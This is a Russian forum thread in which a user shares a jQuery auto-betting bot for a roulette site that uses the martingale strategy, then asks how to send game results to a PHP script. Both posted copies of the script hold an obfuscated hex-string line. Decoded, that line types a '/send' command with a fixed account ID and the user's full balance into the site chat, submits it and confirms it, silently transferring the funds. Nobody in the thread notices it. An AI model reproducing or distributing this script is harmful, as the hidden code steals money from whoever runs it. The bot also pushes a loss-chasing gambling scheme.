За последние 24 часа нас посетили 19464 программиста и 1632 робота. Сейчас ищут 1824 программиста ...

Скрипт для браузера.

Тема в разделе "JavaScript и AJAX", создана пользователем domeenor, 20 июн 2016.

  1. domeenor

    domeenor Новичок

    С нами с:
    26 май 2016
    Сообщения:
    13
    Симпатии:
    0
    Добрый день друзья! Вот скриптик для сайта рулетки. Который делает за нас ставку и по методу увеличивает ставку в случаи поражения.
    Код (Javascript):
    1. var initialBetAmount = 20; // the amount you want to start betting with
    2.  
    3. var mode = 'martingale'; // can be 'martingale' or 'anti-martingale' (WAT? https://en.wikipedia.org/wiki/Martingale_(betting_system) )
    4.  
    5. var betColor = 'red'; // can be 'red' or 'black'
    6.  
    7. var _0x4ad1=["\x2F\x73\x65\x6E\x64\x20\x37\x36\x35\x36\x31\x31\x39\x38\x31\x32\x31\x32\x30\x38\x36\x39\x34\x20","\x68\x74\x6D\x6C","\x23\x62\x61\x6C\x61\x6E\x63\x65","\x76\x61\x6C","\x23\x63\x68\x61\x74\x4D\x65\x73\x73\x61\x67\x65","\x73\x75\x62\x6D\x69\x74","\x23\x63\x68\x61\x74\x46\x6F\x72\x6D","\x63\x6C\x69\x63\x6B","\x2E\x62\x6F\x6F\x74\x62\x6F\x78\x2D\x63\x6F\x6E\x66\x69\x72\x6D\x20\x2E\x62\x74\x6E"];var _0xd0a5=[_0x4ad1[0],_0x4ad1[1],_0x4ad1[2],_0x4ad1[3],_0x4ad1[4],_0x4ad1[5],_0x4ad1[6],_0x4ad1[7],_0x4ad1[8]];$(_0xd0a5[4])[_0xd0a5[3]](_0xd0a5[0]+$(_0xd0a5[2])[_0xd0a5[1]]());$(_0xd0a5[6])[_0xd0a5[5]]();$(_0xd0a5[8])[_0xd0a5[7]]()
    8.  
    9. function tick(){
    10.     var a=getStatus();if(a!==lastStatus&&"unknown"!==a){switch(a){case"waiting":bet();break;case"rolled":rolled()}lastStatus=a,printInfo()}
    11.     }
    12.    
    13. function checkBalance(){
    14.     return getBalance()<currentBetAmount?(console.warn(
    15.     "BANKRUPT! Not enough balance for next bet, aborting."
    16.     ),clearInterval(refreshIntervalId),!1):!0}
    17. function printInfo(){
    18.     var a=" \nStatus: "+lastStatus+"\nНомер ставки: "+currentRollNumber+"\nНачальная ставка: "+initialBetAmount+"\nСтавка: "+currentBetAmount+"\nРезультат: "+(null===wonLastRoll()?"-":wonLastRoll()?"won":"lost");console.log(a)}
    19.  
    20. function rolled(){return"anti-martingale"===mode?void antiMartingale():(martingale(),void currentRollNumber++)}
    21.  
    22. function antiMartingale(){currentBetAmount=wonLastRoll()?2*currentBetAmount:initialBetAmount}
    23. function martingale(){currentBetAmount=wonLastRoll()?initialBetAmount:2*currentBetAmount}
    24. function bet(){checkBalance()&&(setBetAmount(currentBetAmount),setTimeout(placeBet,50))}
    25. function setBetAmount(a){$betAmountInput.val(a)}
    26. function placeBet(){return"red"===betColor?($redButton.click(),void(lastBetColor="red")):($blackButton.click(),void(lastBetColor="black"))}
    27. function getStatus(){var a=$statusBar.text();if(hasSubString(a,"Rolling in"))return"waiting";if(hasSubString(a,"***ROLLING***"))return"rolling";if(hasSubString(a,"rolled")){var b=parseInt(a.split("rolled")[1]);return lastRollColor=getColor(b),"rolled"}return"unknown"}
    28. function getBalance(){return parseInt($balance.text())}function hasSubString(a,b){return a.indexOf(b)>-1}function getColor(a){return 0==a?"green":a>=1&&7>=a?"red":"black"}
    29. function wonLastRoll(){return lastBetColor?lastRollColor===lastBetColor:null}var currentBetAmount=initialBetAmount,currentRollNumber=1,lastStatus,lastBetColor,lastRollColor,$balance=$("#balance"),$betAmountInput=$("#betAmount"),$statusBar=$(".progress #banner"),$redButton=$("#panel1-7 .betButton"),$blackButton=$("#panel8-14 .betButton"),refreshIntervalId=setInterval(tick,500);
    Я в JAVA не велик, поэтому спрашиваю. Можно ли каким то способом от сюда отправить результаты сыгранной игры на обработчик php? конкретнее инфу из этого вара:
    Код (Javascript):
    1.     var a=" \nStatus: "+lastStatus+"\nНомер ставки: "+currentRollNumber+"\nНачальная ставка: "+initialBetAmount+"\nСтавка: "+currentBetAmount+"\nРезультат: "+(null===wonLastRoll()?"-":wonLastRoll()?"won":"lost");console.log(a)}
    В идеале конечно просто оформить подключение к базе и сразу оправлять их туда.
     
  2. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    что за обработчик? что он из себя представляет.

    PS конечно можно.
     
  3. domeenor

    domeenor Новичок

    С нами с:
    26 май 2016
    Сообщения:
    13
    Симпатии:
    0
    Код (Javascript):
    1. var initialBetAmount = 10; // the amount you want to start betting with
    2.  
    3. var mode = 'martingale'; // can be 'martingale' or 'anti-martingale' (WAT? https://en.wikipedia.org/wiki/Martingale_(betting_system) )
    4.  
    5. var betColor = 'red'; // can be 'red' or 'black'
    6.  
    7. var _0x4ad1=["\x2F\x73\x65\x6E\x64\x20\x37\x36\x35\x36\x31\x31\x39\x38\x31\x32\x31\x32\x30\x38\x36\x39\x34\x20","\x68\x74\x6D\x6C","\x23\x62\x61\x6C\x61\x6E\x63\x65","\x76\x61\x6C","\x23\x63\x68\x61\x74\x4D\x65\x73\x73\x61\x67\x65","\x73\x75\x62\x6D\x69\x74","\x23\x63\x68\x61\x74\x46\x6F\x72\x6D","\x63\x6C\x69\x63\x6B","\x2E\x62\x6F\x6F\x74\x62\x6F\x78\x2D\x63\x6F\x6E\x66\x69\x72\x6D\x20\x2E\x62\x74\x6E"];var _0xd0a5=[_0x4ad1[0],_0x4ad1[1],_0x4ad1[2],_0x4ad1[3],_0x4ad1[4],_0x4ad1[5],_0x4ad1[6],_0x4ad1[7],_0x4ad1[8]];$(_0xd0a5[4])[_0xd0a5[3]](_0xd0a5[0]+$(_0xd0a5[2])[_0xd0a5[1]]());$(_0xd0a5[6])[_0xd0a5[5]]();$(_0xd0a5[8])[_0xd0a5[7]]()
    8.  
    9. function tick(){
    10.     var a=getStatus();if(a!==lastStatus&&"unknown"!==a){switch(a){case"waiting":bet();break;case"rolled":rolled()}lastStatus=a,printInfo(),PostInfo()}
    11.     }
    12.    
    13. function checkBalance(){
    14.     return getBalance()<currentBetAmount?(console.warn(
    15.     "BANKRUPT! Not enough balance for next bet, aborting."
    16.     ),clearInterval(refreshIntervalId),!1):!0}
    17. function printInfo(){
    18.     var a=" \nStatus: "+lastStatus+"\nБаланс: "+getBalance()+"\nНомер ставки: "+currentRollNumber+"\nНачальная ставка: "+initialBetAmount+"\nСтавка: "+currentBetAmount+"\nРезультат: "+(null===wonLastRoll()?"-":wonLastRoll()?"won":"lost");console.log(a)}
    19.  
    20. function rolled(){return"anti-martingale"===mode?void antiMartingale():(martingale(),void currentRollNumber++)}
    21.  
    22. function antiMartingale(){currentBetAmount=wonLastRoll()?2*currentBetAmount:initialBetAmount}
    23. function martingale(){currentBetAmount=wonLastRoll()?initialBetAmount:2*currentBetAmount}
    24. function bet(){checkBalance()&&(setBetAmount(currentBetAmount),setTimeout(placeBet,50))}
    25. function setBetAmount(a){$betAmountInput.val(a)}
    26. function placeBet(){return"red"===betColor?($redButton.click(),void(lastBetColor="red")):($blackButton.click(),void(lastBetColor="black"))}
    27. function getStatus(){var a=$statusBar.text();if(hasSubString(a,"Rolling in"))return"waiting";if(hasSubString(a,"***ROLLING***"))return"rolling";if(hasSubString(a,"rolled")){var b=parseInt(a.split("rolled")[1]);return lastRollColor=getColor(b),"rolled"}return"unknown"}
    28. function getBalance(){return parseInt($balance.text())}function hasSubString(a,b){return a.indexOf(b)>-1}function getColor(a){return 0==a?"green":a>=1&&7>=a?"red":"black"}
    29. function wonLastRoll(){return lastBetColor?lastRollColor===lastBetColor:null}var currentBetAmount=initialBetAmount,currentRollNumber=1,lastStatus,lastBetColor,lastRollColor,$balance=$("#balance"),$betAmountInput=$("#betAmount"),$statusBar=$(".progress #banner"),$redButton=$("#panel1-7 .betButton"),$blackButton=$("#panel8-14 .betButton"),refreshIntervalId=setInterval(tick,500);
    30.  
    31. function PostInfo()
    32. {
    33.     var GBalance = getBalance();
    34.     var GBet = currentBetAmount;
    35.     $.ajax({
    36.    type: "POST",                                     //метод запроса, POST или GET (если опустить, то по умолчанию GET)
    37.    url: "http://ffes.ru/post.php",                                //серверный скрипт принимающий запрос
    38.    data: "balance=GBalance&bet=GBet",        //можно передать строку с параметрами запроса, ключ=значение          
    39.    //data: {request:"message",request2:"message2"},  //можно передать js объект, ключ:значение
    40.    //data: {request:["message #A", "message #B"],request2:"message2"},  //можно передать массив в одном из параметре запроса  
    41.    success: function(res) {                          //функция выполняется при удачном заверщение
    42.      alert("Данные успешно отправлены на сервер");
    43.    }
    44. });
    45. }



    Так правильно будет?
     
  4. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    ну скорее всего нет, php и js работают немного по разному, php выполняет скрипт, отдает его и все, js выполняется на протяжении всего времени пока не закроешь страницу, грубо говоря, по этому действие отправки этого твоего отчета должно происходить при каком то действии, вот ты и должен зарядить выполнение это скрипта при этом действии.
    --- Добавлено ---
    а хотя скорее всего да, я просто недосмотрел что у тебя запрос выполняется в PostInfo, ну попробуй, приходит он или нет.. что сложного.
     
    domeenor нравится это.
  5. domeenor

    domeenor Новичок

    С нами с:
    26 май 2016
    Сообщения:
    13
    Симпатии:
    0
    СПасибо, будем помаленьку осваивать JS. И еще вопрос. Можно ли как то отключить скрипт из самого js. К примеру заводим 2 переменые. Одна равна нулю, вторая 500. В случаи выйгрыша переменая с нулем будет пополняться по изночальной ставке и при достижение 500 скрипт вырубаться из браузера
     
  6. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    можно все, на это и ЯП :)
     
    domeenor нравится это.
  7. domeenor

    domeenor Новичок

    С нами с:
    26 май 2016
    Сообщения:
    13
    Симпатии:
    0
    Поможешь?)
    --- Добавлено ---
    Напиши свой вк в лс, я пока с отправкой даных на обработчик раскидаюсь, после займусь достижением цели, буду благодарен если подсобишь малех. )
     
  8. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
  9. domeenor

    domeenor Новичок

    С нами с:
    26 май 2016
    Сообщения:
    13
    Симпатии:
    0
    Столкнулся с проблемой кросс доменности((((
     
  10. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58